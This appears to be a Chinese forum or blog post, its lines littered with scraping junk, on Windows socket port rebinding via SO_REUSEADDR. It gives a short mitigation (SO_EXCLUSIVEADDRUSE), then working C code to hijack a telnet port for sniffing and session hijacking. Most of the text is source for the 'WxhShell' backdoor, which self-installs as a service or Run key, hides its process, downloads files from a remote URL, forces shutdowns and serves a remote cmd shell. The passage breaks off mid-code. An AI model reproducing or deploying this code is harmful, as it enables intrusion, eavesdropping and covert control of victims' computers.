在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l'c|I
&Y] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T?Gi;ld7 U%2 pbGU saddr.sin_family = AF_INET;
pp/Cn4"w ,)%nLc saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ytHa[U az7L0pp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\\BblzGMR Yr"G)i~"Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{n{
j*+ Lk`0z 这意味着什么?意味着可以进行如下的攻击:
M7UVL&_z% P oC*>R8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=TU"B-* 7(ZI]< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<.~j:GbsE %WdAI, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ar R)]gk
7 RfFeAg,]/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5q@o,d ix,5-j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:QB Wy c!E+&5|n 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KK/~W _epi[zf@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-SZ^;t q^k6.5*" #include
;
*r5 d+] #include
!=Cd1
$< #include
WY #pzBA #include
iwrS>Sm DWORD WINAPI ClientThread(LPVOID lpParam);
L/#^&*'B int main()
A03,X;S+ {
n`;=^^ B WORD wVersionRequested;
"m(HQ5e)* DWORD ret;
H"].G^V\6 WSADATA wsaData;
kznmA`#jn BOOL val;
Tj@s \@hv SOCKADDR_IN saddr;
B!yAam#^ SOCKADDR_IN scaddr;
NkA|T1w7 int err;
n*hHqZl SOCKET s;
k oZqoP SOCKET sc;
Dtt[a int caddsize;
(?;Fnq HANDLE mt;
`+{|k)2B DWORD tid;
u0Irf"Ab wVersionRequested = MAKEWORD( 2, 2 );
^0c:ro err = WSAStartup( wVersionRequested, &wsaData );
"=N[g if ( err != 0 ) {
d 6j'[ printf("error!WSAStartup failed!\n");
(khjP, return -1;
?kISAA4x }
x)5#*Q saddr.sin_family = AF_INET;
<Hig,(=`. ?3k;Yg/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QzCu$ [
ze{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9g|o17 saddr.sin_port = htons(23);
>a5CW~Z] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BbnY9" {
~;9B\fE` printf("error!socket failed!\n");
<Pg4> return -1;
#'_i6 }
R=_
fk val = TRUE;
R 6ca; //SO_REUSEADDR选项就是可以实现端口重绑定的
*&^`Uk,[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$x)C_WZj? {
v=RQ"iv8 printf("error!setsockopt failed!\n");
^ dM,K
p return -1;
mtOCk 5E }
E0o= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z%<Z#5_N //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&J,MJ{w6" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2<y!3OeN ]KBzuz% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(ylpH`
{
)u7y.o ret=GetLastError();
i*_T\_= printf("error!bind failed!\n");
dX^OV$ return -1;
^`!5!| }
]*'V#;s listen(s,2);
YQ:FBj while(1)
tH`!? {
PVC\&YF caddsize = sizeof(scaddr);
QI0d:7!W1 //接受连接请求
-NGY+1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i?.MD+f8 if(sc!=INVALID_SOCKET)
h%|Jkx!v-t {
-U`]/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>j%HVRW if(mt==NULL)
2WE_NEpJI {
\=P+]9 printf("Thread Creat Failed!\n");
]k-<[Z;I, break;
1Y'9|+y+ }
*F42GiBZR }
URz$hcI8 CloseHandle(mt);
Y&6vTU }
ZaIlo5 closesocket(s);
KP(RK4F WSACleanup();
Bb_R~1
l return 0;
!vH7vq }
[7]Kvb2t DWORD WINAPI ClientThread(LPVOID lpParam)
@zSI@Oq_ {
+l+8Z:i< SOCKET ss = (SOCKET)lpParam;
Vv8e"S SOCKET sc;
YII1Z'q unsigned char buf[4096];
?j6?KR@# SOCKADDR_IN saddr;
,HO~NqmB4 long num;
;nW#Dn9 DWORD val;
(U#4j 6Q DWORD ret;
A%qlB[!: //如果是隐藏端口应用的话,可以在此处加一些判断
Dl_y[9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y]!8Ymuww@ saddr.sin_family = AF_INET;
$k5mI1~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ZJlmHlAX saddr.sin_port = htons(23);
} Wx#"6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!#wd~: H {
x%Ivd printf("error!socket failed!\n");
BU
|]4 return -1;
o&g-0!" }
5Arx"=c val = 100;
\3a(8Em if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'mx_]b^O {
U{6i5;F#H ret = GetLastError();
aZ"9)RJe return -1;
Vj(}'h-c\ }
!*JE%t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d}#G~O+y3v {
@62QDlt; ret = GetLastError();
4Y2l]86 return -1;
4Qh\3UL~ }
-b'93_ZTu: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>U?HXu/TJr {
P4@<`Eb printf("error!socket connect failed!\n");
hYOUuC closesocket(sc);
sz4)xJgF( closesocket(ss);
b~uz\%'3 return -1;
$Pv;>fHu }
m/vwM" while(1)
wju2xM {
9,g &EnvG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?|Y/&/;%I //如果是嗅探内容的话,可以再此处进行内容分析和记录
f7NK0kuA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=23JE'^= num = recv(ss,buf,4096,0);
M`^;h: DN^ if(num>0)
0].*eM send(sc,buf,num,0);
lt%bGjk else if(num==0)
`hJSo?G> break;
WPLM*]6 num = recv(sc,buf,4096,0);
>5G2!Ns' if(num>0)
OY$P8y3MY send(ss,buf,num,0);
?fF{M%i-% else if(num==0)
0tV" X break;
doM}vh)6 }
`uK_}Vy_ closesocket(ss);
X$z@ *3= closesocket(sc);
;/.ZjTRw return 0 ;
LU
"e9 }
l{OU\ Hp`Mp)1s e}e|??'(\ ==========================================================
E07g^y"}i V-rzn171Q) 下边附上一个代码,,WXhSHELL
'fB/6[bd Ip_S8
;; ==========================================================
GjF'03Z4 N#<h/ #include "stdafx.h"
1QkAFSl3 `72 uf<YQ #include <stdio.h>
v}w=I}<x #include <string.h>
J<8~w; i #include <windows.h>
*oR`l32O0z #include <winsock2.h>
7I.7%m,g #include <winsvc.h>
i&KD)&9b# #include <urlmon.h>
z=q NKae~ 1b #pragma comment (lib, "Ws2_32.lib")
dfkmIO%9X #pragma comment (lib, "urlmon.lib")
&}sC8,Sr w
s(9@ #define MAX_USER 100 // 最大客户端连接数
@mM])V #define BUF_SOCK 200 // sock buffer
(W.euQy #define KEY_BUFF 255 // 输入 buffer
erG@8CG dno=C #define REBOOT 0 // 重启
X2ShxD| #define SHUTDOWN 1 // 关机
7|=*z d3
h^L #define DEF_PORT 5000 // 监听端口
i^hgs`hvU qSj$0Hq5XI #define REG_LEN 16 // 注册表键长度
p_z_d6? #define SVC_LEN 80 // NT服务名长度
ZUE?19GA -26GOS_8z // 从dll定义API
T/8*c0mU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GUUVE@Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:m|%=@]` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[p3)C<;ZC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C/nzlp~ K&{*sa r // wxhshell配置信息
3'(w6V struct WSCFG {
5tyr$P! N int ws_port; // 监听端口
i7^_y3dG char ws_passstr[REG_LEN]; // 口令
7=jeq|&kN int ws_autoins; // 安装标记, 1=yes 0=no
+jk_tPSe char ws_regname[REG_LEN]; // 注册表键名
Q{9#Am^6w char ws_svcname[REG_LEN]; // 服务名
S].=gR0: char ws_svcdisp[SVC_LEN]; // 服务显示名
oe1Dm char ws_svcdesc[SVC_LEN]; // 服务描述信息
!wl3}]q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(bP\_F5D int ws_downexe; // 下载执行标记, 1=yes 0=no
e%#8]$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/W !A^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n~/#~VTVe @WuB&uF=d };
x @EEMO1_" G[V?#7. // default Wxhshell configuration
Epm'u[wV struct WSCFG wscfg={DEF_PORT,
;jb+x5t "xuhuanlingzhe",
'IrwlS 1,
enu",wC3 "Wxhshell",
[&mYW.O< "Wxhshell",
7X| M\WUq "WxhShell Service",
}^J&D=J5V "Wrsky Windows CmdShell Service",
UYu 54`'kg "Please Input Your Password: ",
cpV:y 1,
@=jcdn!\M "
http://www.wrsky.com/wxhshell.exe",
LGb.>O^ "Wxhshell.exe"
E%L]ifA9! };
,nMc.
G3 ^:0NKq\ // 消息定义模块
x+h7OvW{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H^s@qh)L char *msg_ws_prompt="\n\r? for help\n\r#>";
?&Y3Fr)% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|qra.\ char *msg_ws_ext="\n\rExit.";
IyE9G:fY char *msg_ws_end="\n\rQuit.";
E|2klA^+* char *msg_ws_boot="\n\rReboot...";
l\l\T<wa, char *msg_ws_poff="\n\rShutdown...";
*GsrG*OM*D char *msg_ws_down="\n\rSave to ";
&HKrmFgX{ xe)< )y char *msg_ws_err="\n\rErr!";
qcxq-HS2' char *msg_ws_ok="\n\rOK!";
|q$br-0+ 7. y
L> char ExeFile[MAX_PATH];
54 8w
v int nUser = 0;
HaeF`gI^Ee HANDLE handles[MAX_USER];
B8'(3&)My int OsIsNt;
MI[=,0`D b2;Weu3WN SERVICE_STATUS serviceStatus;
@:DS/#! SERVICE_STATUS_HANDLE hServiceStatusHandle;
fT.5@RR7^ o5+N_5OE}E // 函数声明
Hl&]r'bK int Install(void);
KZV$rJ%G int Uninstall(void);
cm]D"GFLY int DownloadFile(char *sURL, SOCKET wsh);
-0| '{ int Boot(int flag);
;FYiXK% void HideProc(void);
7M:0%n$ int GetOsVer(void);
\$J!B&i int Wxhshell(SOCKET wsl);
Vxif0Bx&/d void TalkWithClient(void *cs);
bHcb.;< int CmdShell(SOCKET sock);
ZiDmx-X int StartFromService(void);
fTM^:vkO int StartWxhshell(LPSTR lpCmdLine);
?Mp)F2' Q!>8E4Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tq9t(0EL VOID WINAPI NTServiceHandler( DWORD fdwControl );
[|~X~AO% U[~BW[[@f // 数据结构和表定义
~..h= SERVICE_TABLE_ENTRY DispatchTable[] =
5v8&C2Jy@ {
Ch
` Omq {wscfg.ws_svcname, NTServiceMain},
,*.C'' {NULL, NULL}
-W>zON|l };
lkp!S3, r8C6bFYM // 自我安装
xU1dy*- int Install(void)
*>.~f<V {
#m9V)1"wB char svExeFile[MAX_PATH];
%V;k/w~[ HKEY key;
&..![,)w^! strcpy(svExeFile,ExeFile);
z$p+l] =Feavyx // 如果是win9x系统,修改注册表设为自启动
nM8aC&Rd\ if(!OsIsNt) {
De|@}@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PpN+q:( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C78d29 RegCloseKey(key);
^sH1YE}0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=1n>vUW+J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(J Fa RegCloseKey(key);
kYs2AzS{d return 0;
{U=za1Ga }
uXeB OLC }
?AY596 }
4BuS?
#_ else {
3uRnbO- > ^3xBI:Q // 如果是NT以上系统,安装为系统服务
cZL"e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_}Jz_RS2` if (schSCManager!=0)
Fw:s3ON9} {
UeE& 8{=d SC_HANDLE schService = CreateService
T4Z("
(
7K9+7I&C schSCManager,
~PuPY:" wscfg.ws_svcname,
4E3HYZ wscfg.ws_svcdisp,
1`_Mc ] SERVICE_ALL_ACCESS,
f%*-PW^* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
O\OG~`HBN SERVICE_AUTO_START,
)." zBc# SERVICE_ERROR_NORMAL,
)2F:l0g svExeFile,
k`
(_~/# NULL,
@]*z!>1 NULL,
/]]\jj#^ NULL,
m{Q{ qJ5> NULL,
6?}8z
q[ NULL
6@o_MtI );
Jb $PlOQ if (schService!=0)
7Yj\*N {
$Ry
NM2YI CloseServiceHandle(schService);
y9\s[}c_ CloseServiceHandle(schSCManager);
1aYO:ZPy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
XrSqUD strcat(svExeFile,wscfg.ws_svcname);
oB9Fas!N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!9iVe7V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,`+y4Z6`W2 RegCloseKey(key);
RW>Z~Nj return 0;
XA9$n_|bw }
+}4vdi" }
,O
a) CloseServiceHandle(schSCManager);
@uY%;%Pa8 }
M~N'z/ }
x+yt|
&B Q'~;RE%T return 1;
"@`mPe/ }
,\}V.:THF Ev0V\tl>0 // 自我卸载
=NJb9S&8A int Uninstall(void)
3CQpe {
@292;qi HKEY key;
`34[w=Zm W,Dr2$V if(!OsIsNt) {
i8HSYA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~,':PUkiV RegDeleteValue(key,wscfg.ws_regname);
%I Y-0\ RegCloseKey(key);
&B3\;|\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[+GQ3Z\ RegDeleteValue(key,wscfg.ws_regname);
T_AZCl4d RegCloseKey(key);
FIU(2 return 0;
SCxzT}#J }
<;9vwSH> }
b@,=;Y)O }
`q_7rrkO else {
RSmxwx^ %t+V8A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wV56LW if (schSCManager!=0)
HTx7._b {
o]Vx6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0TA/ExJ-LT if (schService!=0)
nsgNIE{>gO {
Vp5qul% if(DeleteService(schService)!=0) {
s?%1/&.~ CloseServiceHandle(schService);
YVW!u6W'[6 CloseServiceHandle(schSCManager);
vgE5(fJh return 0;
PI0/=kS }
@Gn9x(?J CloseServiceHandle(schService);
9MM4 C }
yMz@-B CloseServiceHandle(schSCManager);
U7x}p^B9\N }
G2L7_?/m }
a.8 nWs^ i@B5B2 return 1;
a+]=3o }
ITbl%q k,v.U8 // 从指定url下载文件
p3x(:= int DownloadFile(char *sURL, SOCKET wsh)
TR)'I {
1YnDho;~ HRESULT hr;
IHagRldG char seps[]= "/";
W=)}=^N0 char *token;
)SDGj;j+ char *file;
tO~H/0 char myURL[MAX_PATH];
M6?Q w= char myFILE[MAX_PATH];
@RaMO# wp*;F#: G strcpy(myURL,sURL);
mbS
&> token=strtok(myURL,seps);
UhEJznfi while(token!=NULL)
OH=Ffy F, {
PwDQ<
file=token;
qVM]$V#e token=strtok(NULL,seps);
54}s:[O }
'm/b+9?. g]d"d GetCurrentDirectory(MAX_PATH,myFILE);
+U6!
bu>C strcat(myFILE, "\\");
TD3R/NP strcat(myFILE, file);
qvk?5#B send(wsh,myFILE,strlen(myFILE),0);
{I2j Lc send(wsh,"...",3,0);
vkR"A\: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\*_a#4a if(hr==S_OK)
t5e(9Yhj return 0;
! B)Em else
vB.LbYyF return 1;
Qgf_ [;.zl1S< }
z1]RwbA?1 rqa;MPl // 系统电源模块
!EKF^n6 int Boot(int flag)
+JQN=nTA {
$fh?(J HANDLE hToken;
,[Ytl TOKEN_PRIVILEGES tkp;
$W0lz#s: Jn:GqO if(OsIsNt) {
Y,&)%Eo< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Z3#3xG5pl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"HYK~V tkp.PrivilegeCount = 1;
92} ,A`= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZGp8$Y>r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y+G4: if(flag==REBOOT) {
ul% q6=f) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cc^V~-ph return 0;
OK2wxf }
e| kYu[^ else {
v1)jZ.: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:W'1Q2 return 0;
w93yhV? }
DsFrA] }
^|gN?:fA} else {
=CqLZ$10 if(flag==REBOOT) {
@P@t/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wPG3Ap8L return 0;
>eU;lru2Q }
XVI+Y else {
XE>XzsnC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
lR-4"/1|y return 0;
8`*`4m }
r<bg->lX }
isDr|g$S sjzZl*GSy return 1;
kU#$ }
P|64wq{B8 5$O@+W!?@ // win9x进程隐藏模块
thq(tK7 void HideProc(void)
%_/_klxnO {
?EtK/6dJZt B6ys5eQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
duwZe+ if ( hKernel != NULL )
$%!]tNGS {
61wGIN2, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u/,m2N9cL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
jNB-FVaT FreeLibrary(hKernel);
,D#~%kq~ }
t(s']r 9RAN$\AKy return;
pRYt.}/K }
e+&/Tq'2 aFl(K\ // 获取操作系统版本
,>e<mphM int GetOsVer(void)
&{7%VsTB {
W}T$ Z OSVERSIONINFO winfo;
*d)B4qG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;%Z)$+Z_)< GetVersionEx(&winfo);
b
~F85U2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
DuCq16'0T return 1;
:MJTmpq, else
*DU86JL` return 0;
O*c+TiTb }
G`TO[p]q L]9*^al // 客户端句柄模块
'5{gWV` int Wxhshell(SOCKET wsl)
m@TU2 {
eLl;M4d SOCKET wsh;
RX#:27: struct sockaddr_in client;
3ne=7Mj DWORD myID;
*78TT\q< /y
NU0/ while(nUser<MAX_USER)
4S+P]U*jW {
WJ/&Ag1 int nSize=sizeof(client);
HhIa=,VY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tn:tM5m if(wsh==INVALID_SOCKET) return 1;
M|e@N R{Cj]:Ky handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V<(cW'zA/ if(handles[nUser]==0)
M`S >Q2{ closesocket(wsh);
6&h,eQ! else
QDLtilf : nUser++;
RD,`D! }
_jP]ifu` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
](3=7!!J -u8 ma%JW return 0;
$,bLb5}Qu }
gX]?`u %}2 s74D*Z // 关闭 socket
O-q [#P void CloseIt(SOCKET wsh)
i]YH"t8GY {
z${DW@o3 closesocket(wsh);
&(irri_ nUser--;
J4=~.&6 ExitThread(0);
4fp}`U }
@7.Ews5Mke y1@{(CDp" // 客户端请求句柄
vr2t MD void TalkWithClient(void *cs)
W!htCwnkF {
.y|* >~2oQ[n SOCKET wsh=(SOCKET)cs;
9Yd<_B# char pwd[SVC_LEN];
Ptn0;GC char cmd[KEY_BUFF];
/_>S0 char chr[1];
_@SC R% int i,j;
uBH4E;[f E ekX|* while (nUser < MAX_USER) {
@2Z{en? }eSaF@. if(wscfg.ws_passstr) {
CO-9-sQx
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AvH^9zEE( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qy/xJ>: //ZeroMemory(pwd,KEY_BUFF);
f D2.Zh i=0;
UJ
n3sZ<} while(i<SVC_LEN) {
PkMN@JS `Z0FQ( r_ // 设置超时
sYYNT* fd_set FdRead;
"! m6U#^ struct timeval TimeOut;
$CRu?WUS]' FD_ZERO(&FdRead);
9x23## s FD_SET(wsh,&FdRead);
xrf z-"n4 TimeOut.tv_sec=8;
S sGb; TimeOut.tv_usec=0;
_-$(=`8|<{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
iTwb#Q= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'de&9\ K>N\U@@8i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0EKi?vP@y7 pwd
=chr[0]; k`_sKr]9
if(chr[0]==0xd || chr[0]==0xa) { ;M1# M:
pwd=0; +9<"Y6
break; $mgW|TBXCQ
} mA@FJK_
i++; ?^n),mR
} T1_O~<
4hz T4!15
// 如果是非法用户,关闭 socket P XKEqcQR
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gE\&[;)DB
} `-/-(v+ i
of659~EIW
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uc^e Ia@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )%dxfwd6
j
4!$[h
while(1) { x8
_f/2&
J;|a)Nw
ZeroMemory(cmd,KEY_BUFF); %68'+qz
I() =Ufs5z
// 自动支持客户端 telnet标准 L `NY^
j=0; Gh>&+UA'$1
while(j<KEY_BUFF) { z{`K_s%5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JuQwZ]3ed
cmd[j]=chr[0]; _wH>h$E
if(chr[0]==0xa || chr[0]==0xd) { g[';1}/B4
cmd[j]=0; 1-0tG+
break; /W9(}Id6
} R-LMV
j++; >mJH@,F:
} q=(%
]BK
& %A&&XT9
// 下载文件 !mHMFwvS
if(strstr(cmd,"http://")) { GZH{"_$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Y O(C<r-
if(DownloadFile(cmd,wsh)) @QteC@k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0v+-yEkw
else l0 =[MXM4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /s*.:cdH
} e`n+U-)z
else { _Z7`tUS-j
;`Nh@*_
switch(cmd[0]) { h?[|1.lJx(
:^7>kJ5?
// 帮助 ttOk6-
case '?': { G?kK:eV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =' uePM")
break; P q0%oz
} .V4-
// 安装 (Zg'])
case 'i': { 50_[n$tqE
if(Install()) xt_:R~/[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aD]!
eP/)
else wg%g(FO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "i#aII+T
break; % IHIXncv[
} "!+gA&
// 卸载 <Pzy'9
case 'r': { Lq|>n[KY
if(Uninstall()) J3 `0i@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :of(wZa3Q
else Hz\@#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Dt_lQp#
break; (\0
<|pW
} Nv=78O1
// 显示 wxhshell 所在路径 &1(- 8z*
case 'p': { X NgcBSD
char svExeFile[MAX_PATH]; i.k7qclL`
strcpy(svExeFile,"\n\r"); 8EI9&L>
strcat(svExeFile,ExeFile); 8~tX>q<@q
send(wsh,svExeFile,strlen(svExeFile),0); U%q-#^A
break; F+"_]
} }}"pQ!Z
// 重启 h PL]B_<
case 'b': { }R`Rqg-W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |lt]9>|
if(Boot(REBOOT)) ],_+J*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/?H]o$NU
else { Aa=:AkrH
closesocket(wsh); AdVc1v&>
ExitThread(0); q.p.$)
} ,jOJ\WXP
break; 8[;vC$
} %xN${4)6
// 关机 v\GVy[Qyv
case 'd': { H4s~=iB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gVrQAcJj
if(Boot(SHUTDOWN)) >))CXGE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t;BUZE_!0c
else { }x?F53I)
closesocket(wsh); h%:rJ_#Zl
ExitThread(0); 4;fuS_(X
} CHsg2S
break; >!6|yk`GJ
} U@M3.[jw
// 获取shell w8XCU>
|
case 's': { In?=$_p
CmdShell(wsh); ;I&VpAPx
closesocket(wsh); N ai5!_'
ExitThread(0); ?u|@,tQ[
break; 4q E95THB
} _Z23lF9
// 退出 8LbwEKl
case 'x': { )\|+G5#`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VGmvfhf#"
CloseIt(wsh); 6|zhqb|s
break; 5BJE
} ^Jp,&
// 离开 )V\@N*L`ik
case 'q': { TWzLJ63*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1h&`mqY)L.
closesocket(wsh); ?3=G'Ip5n
WSACleanup(); %WgN+A0
exit(1); b~J)LXj]w
break; 1~*1W4};F8
} fes s6=k
} b,Oh8O;>
} .qgUD
Zz0e4C
// 提示信息 G18w3BFx
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]K"&Vd
} O\6U2b~
} GC{M"q|_
V5w1ET
return; Nob(D'vSr
} $@>0;i::
u.ggN=Z
// shell模块句柄 BDTL5N
int CmdShell(SOCKET sock) 9 3>4n\
{ Qc; kj
STARTUPINFO si; x@t?7 o\&
ZeroMemory(&si,sizeof(si)); z3Q&O$5\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2yZr!Rb~*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "f,{d}u
PROCESS_INFORMATION ProcessInfo; "2l`XH
char cmdline[]="cmd"; @1MnJP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "9wD|wsz
return 0; p+;& Gg54
} %{@Q7
98>GHl'lM
// 自身启动模式 zaqX};b
int StartFromService(void) xG9Sk
{ 6qWUo3
typedef struct zxbfh/=
{ VPe0\?!d
DWORD ExitStatus; FEaT}/h;
DWORD PebBaseAddress; =l/6-j^
DWORD AffinityMask; #z|Q $
DWORD BasePriority; l3>S{
ULONG UniqueProcessId; \84t\jKR
